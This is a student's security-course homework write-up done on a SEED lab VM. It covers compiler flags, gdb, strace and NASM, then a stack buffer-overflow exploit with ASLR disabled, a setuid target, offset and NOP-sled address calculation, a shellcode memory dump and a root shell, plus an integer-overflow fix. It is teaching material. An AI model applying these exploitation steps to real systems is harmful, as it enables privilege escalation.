Matthew Quander
10/23/2021
COSC647 HW01

Question 01
Question 02:

a.) When using the -Wall flag in the gcc compilation command, it returns with the warnings of unused variables in the program.

b.) When compiling the source code with the -pedantic flag, it compiles without any warnings or errors.

c.) The size of the code is the same when compiled with and without the -g flag.

```
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ gcc -g helloWorld.c -o helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ ls
helloWorld  helloWorld.c  HW_01.odt
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ size helloWorld
   text    data     bss     dec     hex filename
   1257     280       4    1541     605 helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ gcc helloWorld.c -o helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ size helloWorld
   text    data     bss     dec     hex filename
   1257     280       4    1541     605 helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$
```

d.) When compiled with the -O1 flag, the code(text) decreases by 16 to 1241, when compiled with the -O2 flag it decreases by another 12 to 1229, and when compiled with the -O3 flag it stays at 1229.

```
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ gcc -O1 helloWorld.c -o helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ size helloWorld
   text    data     bss     dec     hex filename
   1241     280       4    1525     5f5 helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ gcc -O2 helloWorld.c -o helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ size helloWorld
   text    data     bss     dec     hex filename
   1229     280       4    1513     5e9 helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ gcc -O3 helloWorld.c -o helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$ size helloWorld
   text    data     bss     dec     hex filename
   1229     280       4    1513     5e9 helloWorld
[10/17/21]seed@VM:~/Matthew_Quander_HW_01$
```

Question 03:

```
[----------------------------------registers-----------------------------
EAX: 0xb7f1ddbc --> 0xbfffed7c --> 0xbfffef9b ("XDG_VTNR=7")
EBX: 0x0
ECX: 0xbfffece0 --> 0x1
EDX: 0xbfffed04 --> 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffecc8 --> 0x0
ESP: 0xbfffeca0 --> 0xb7f1c3dc --> 0xb7f1d1e0 --> 0x0
EIP: 0x804847c (<main+17>:      mov    eax,gs:0x14)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction over
```

Matthew Quander
10/23/2021
COSC647 HW01

a.) Register ESP is 0xbfffeca0
b.) Register EBP is 0xbfffecc8
c.) Register EIP is 0x0804847c
d.) Using the x command, the next few instructions were observed to be executed:

```
gdb-peda$ x
   0x8048507 <__libc_csu_init+39>:      sub    esi,eax
gdb-peda$ x
   0x8048509 <__libc_csu_init+41>:      sar    esi,0x2
gdb-peda$ x
   0x804850c <__libc_csu_init+44>:      test   esi,esi
gdb-peda$ x
   0x804850e <__libc_csu_init+46>:      je     0x8048535 <__libc_csu_init+85>
gdb-peda$ x
   0x8048510 <__libc_csu_init+48>:      xor    edi,edi
```

Question 04:

a.) Command `$ strace helloWorld` yields output

```
brk(NULL)                                  = 0x9e0c000
brk(0x9e31000)                             = 0x9e31000
futex(0xb74feacc, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0xb74fead4, FUTEX_WAKE_PRIVATE, 2147483647) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) =
write(1, "Hello World\n", 12Hello World
)          = 12
exit_group(0)                              = ?
+++ exited with 0 +++
[10/21/21]seed@VM:~/.../Matthew Quander HW 01$
```

b.) Using objdump, .text is at 0x08048370, .bss is at 0x0804a020, and .data is at 0x0804a018

```
13 .text         000001d2  08048370  08048370  00000370  2**4
                 CONTENTS, ALLOC, LOAD, READONLY, CODE
```

```
24 .data         00000008  0804a018  0804a018  00001018  2**2
                 CONTENTS, ALLOC, LOAD, DATA
25 .bss          00000004  0804a020  0804a020  00001020  2**0
                 ALLOC
```

Question 05:

```
/bin/bash
/bin/bash 80x29
[10/17/21]seed@VM:~/.../Matthew_Quander_HW_01$ nasm -f elf helloASM.asm
[10/17/21]seed@VM:~/.../Matthew_Quander_HW_01$ ld -o helloASM helloASM.o
[10/17/21]seed@VM:~/.../Matthew_Quander_HW_01$ ./helloASM
hello ASM world
[10/17/21]seed@VM:~/.../Matthew_Quander_HW_01$
```

a.) source, object, and executable code included in .zip file

Matthew Quander
10/23/2021
COSC647 HW01

b.) In disassembling the `_start` function, I saw the memory address of 0x080490a4 moved into register ecx. I then printed the value of the `msg` variable and then examined the contents of the above address. I then examined the addresses of the next 4 byte memory address and translated the hexadecimal to characters, where 0x68656c6c6f2041534d = hello ASM. Thus, memory addresses containing the string are 0x80490a4, 0x80490a8, and 0x80490ac.

```
gdb-peda$ disass _start
Dump of assembler code for function _start:
   0x08048080 <+0>:     xor    eax,eax
   0x08048082 <+2>:     mov    al,0x4
   0x08048084 <+4>:     xor    ebx,ebx
   0x08048086 <+6>:     mov    bl,0x1
   0x08048088 <+8>:     xor    ecx,ecx
   0x0804808a <+10>:    mov    ecx,0x80490a4
```

```
gdb-peda$ print msg
$2 = 0x6c6c6568
gdb-peda$ x/x 0x80490a4
0x80490a4:      0x6c6c6568
gdb-peda$ print &msg
$3 = (<data variable, no debug info> *) 0x80490a4
gdb-peda$ x/x 0x80490a8
0x80490a8:      0x5341206f
gdb-peda$ x/x 0x80490a5
0x80490a5:      0x6f6c6c65
gdb-peda$ x/x 0x80490ac
0x80490ac:      0x6f77204d
```

c.) In disassembling, the memory address that contains the program's argument is 0x80490a4 as shown above.

d.) Debugging and stopping the program before the write syscall (mov ecx, 0x80490a4), register ESP contains 0x01, EIP contains 0x31, and EBP is inaccessible.

```
gdb-peda$ x/x $esp
0xbfffed70:     0x01
gdb-peda$ x/x $ebp
0x0:    Cannot access memory at address 0x0
gdb-peda$ x/x $eip
0x8048088 <_start+8>:   0x31
gdb-peda$
```

e.) The message string is located 0x80490a4

```
gdb-peda$ print &msg
$7 = (<data variable, no debug info> *) 0x80490a4 <msg>
gdb-peda$
```

f.) The return value of the write syscall is 1.

Matthew Quander
10/23/2021
COSC647 HW01

Question 06:

C program `stackQ6.c` contains a stack-based buffer overflow in lines 6 and 7, where a character array of size 5 is declared then a character string of size 10 is copied into it without checking the size. Below is a screenshot of the program crashing with a Segmentation fault. Prior to the crash, the stack consists of the function's return address, saved ebp, and the buffer (no parameters). The buffer can be located by the instruction `lea eax, [ebp – 0x5]`, which indicates the buffer is 5 bytes above the ebp in lower memory. When the program loads 10 bytes of data to the buffer, the saved ebp and the return address (ebp + 4) are overwritten, thus crashing the program.

```
[10/19/21]seed@VM:~/.../Question06$ gcc stackQ6.c -o stackQ6 -g -fno-stack-prote
ctor -z execstack
[10/19/21]seed@VM:~/.../Question06$ ./stackQ6
Segmentation fault
```

```
gdb-peda$ disass function
Dump of assembler code for function function:
   0x0804840b <+0>:     push   ebp
   0x0804840c <+1>:     mov    ebp,esp
   0x0804840e <+3>:     sub    esp,0x10
   0x08048411 <+6>:     lea    eax,[ebp-0x5]
   0x08048414 <+9>:     mov    DWORD PTR [eax],0x44434241
   0x0804841a <+15>:    mov    DWORD PTR [eax+0x4],0x48474645
   0x08048421 <+22>:    mov    WORD PTR [eax+0x8],0x4a49
```

Question 07:

Similar to Lab 1, the C program `stackQ7.c` contains a stack-based buffer overflow in line 8 from the `strcpy` function. A string copy is attempted without checking the size. The `call_shellcode.c` program was compiled as a root user, and then executed to test that a root shell was created from the shell code contained within the string. Then `stackQ7.c` was compiled as a root user, with stack protection turned off.

```
root@VM: /home/seed/Desktop/Matthew_Quander_HW_01/Question07
root@VM: /home/seed/Desktop/Matthew_Quander_HW_01/Question07 79x28
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# exit
exit
[10/20/21]seed@VM:~/.../Question07$ su root
Password:
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# sysctl -w kernel.r
andomize_va_space=0
kernel.randomize_va_space = 0
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# gcc -z execstack -
o call_shellcode call_shellcode.c
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# ./call_shellcode
# whoami
root
# exit
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# gcc stackQ7.c -o s
tackQ7 -g -fno-stack-protector -z execstack
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# chmod 4755 stackQ7
root@VM:/home/seed/Desktop/Matthew_Quander_HW_01/Question07# exit
exit
[10/20/21]seed@VM:~/.../Question07$
```

Matthew Quander
10/23/2021
COSC647 HW01

The `maliciousCode.c` file contains the same string with the shell code to create a root shell. This program also has a buffer, procedures to copy data into the buffer, and open and write to an error file. By finding the addresses of the buffer, ebp register, and the return address of the `bof_function` (where the buffer overflow occurs), I calculated the offset from the return address to the buffer as 0x24.

```
gdb-peda$ print &buffer
$1 = (char (*)[24]) 0xbfffe9b8
gdb-peda$ x/x $ebp
0xbfffe9d8:     0x90909090
gdb-peda$ x/x $ebp+4
0xbfffe9dc:     0xbfa91277
```

I then examined 512 bytes of the buffer's contents with the below command. From the `memset` function call in `maliciousCode.c`, 517 bytes of the 0x90 NOP instruction initializes the buffer. Then by identifying the memory addresses that contain the shell code, I copied the last address that contains a NOP instruction just before the shellcode: 0xbfffeb98 (last NOP highlighted below). This address is then assigned to the buffer's 0x24th address, similar to the lab, since the offset calculated earlier was 0x24. Ultimately this will overwrite the return address with the address that contains the malicious shell code to create a root shell. The `maliciousCode.c` program then writes the buffer to a file in which the `stackQ7.c` program will read from and copy into its own local buffer, overflowing it and overwriting `bof_function`'s return address.

```
root@VM: /home/seed/Desktop/Matthew_Quander_HW_01/Question07
root@VM: /home/seed/Desktop/Matthew_Quander_HW_01/Question07 90x36
Undefined command: "x128x".  Try "help".
gdb-peda$ x/128x buffer
0xbfffe9b8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe9c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe9d8:     0x90909090      0xbfa91277      0x90909090      0x90909090
0xbfffe9e8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe9f8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea08:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea18:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea28:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea38:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea58:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea68:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea78:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea88:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffea98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeaa8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeab8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeac8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffead8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeae8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeaf8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb08:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb18:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb28:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb38:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb48:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb58:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb68:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb78:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb88:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffeb98:     0x90909090      0x438ddb31      0x80cd9917      0x6850c031
0xbfffeba8:     0x68732f2f      0x69622f68      0x50e3896e      0x99e18953
gdb-peda$ x/x 0xbfffeb98
0xbfffeb98:     0x90909090
```

Once the above steps are complete, the `maliciousCode.c` file can be compiled with the offset and memory address populated. After running the `maliciousCode.c` and `stackQ7.c` programs, a root shell is obtain as shown below.

```
[10/20/21]seed@VM:~/.../Question07$ gcc -o maliciousCode maliciousCode.c
[10/20/21]seed@VM:~/.../Question07$ ./maliciousCode
[10/20/21]seed@VM:~/.../Question07$ ./stackQ7
# whoami
root
#
```

Question 08:

The `intOF.c` program contains an integer overflow error from lines 11 through 13. The program prompts a user for an integer between 0 and 100 and stores it into an unsigned int variable. That variable is then copied into an unsigned short int variable, which gets overflowed if the value is above 65,535. So if the user were to enter 65536 the program would incorrectly accept it as good input:

```
/bin/bash
/bin/bash 80x24
[10/21/21]seed@VM:~/.../Question08$ ./intOF
Enter a number from 0 to 100: 65536
65536 --> good entry
[10/21/21]seed@VM:~/.../Question08$
```

The program can be corrected by first testing the unsigned int variable prior to copying it into the smaller unsigned short int variable, as done in the `intOFcorrected.c` file. This program tests that the value entered by the user is within the 65,535 range for an unsigned short int. If the value is within the 0-65,535 range, it's then copied into the unsigned short int variable and checked if it's between the 0 to 100 range. A message is displayed to the user depending if it's between 0 and 100. If the value entered is not within the unsigned short int range (0-65,535), the program outputs a message that the number was out of range.

```
/bin/bash
/bin/bash 80x24
[10/21/21]seed@VM:~/.../Question08$ ./intOFcorrected
Enter a number from 0 to 100: -1
-1 is out of range
[10/21/21]seed@VM:~/.../Question08$ ./intOFcorrected
Enter a number from 0 to 100: 65536
65536 is out of range
[10/21/21]seed@VM:~/.../Question08$
```

```
/bin/bash
/bin/bash 80x24
[10/21/21]seed@VM:~/.../Question08$ ./intOFcorrected
Enter a number from 0 to 100: 101
101 --> bad entry
[10/21/21]seed@VM:~/.../Question08$ ./intOFcorrected
Enter a number from 0 to 100: 0
0 --> good entry
[10/21/21]seed@VM:~/.../Question08$ ./intOFcorrected
Enter a number from 0 to 100: 100
100 --> good entry
[10/21/21]seed@VM:~/.../Question08$
```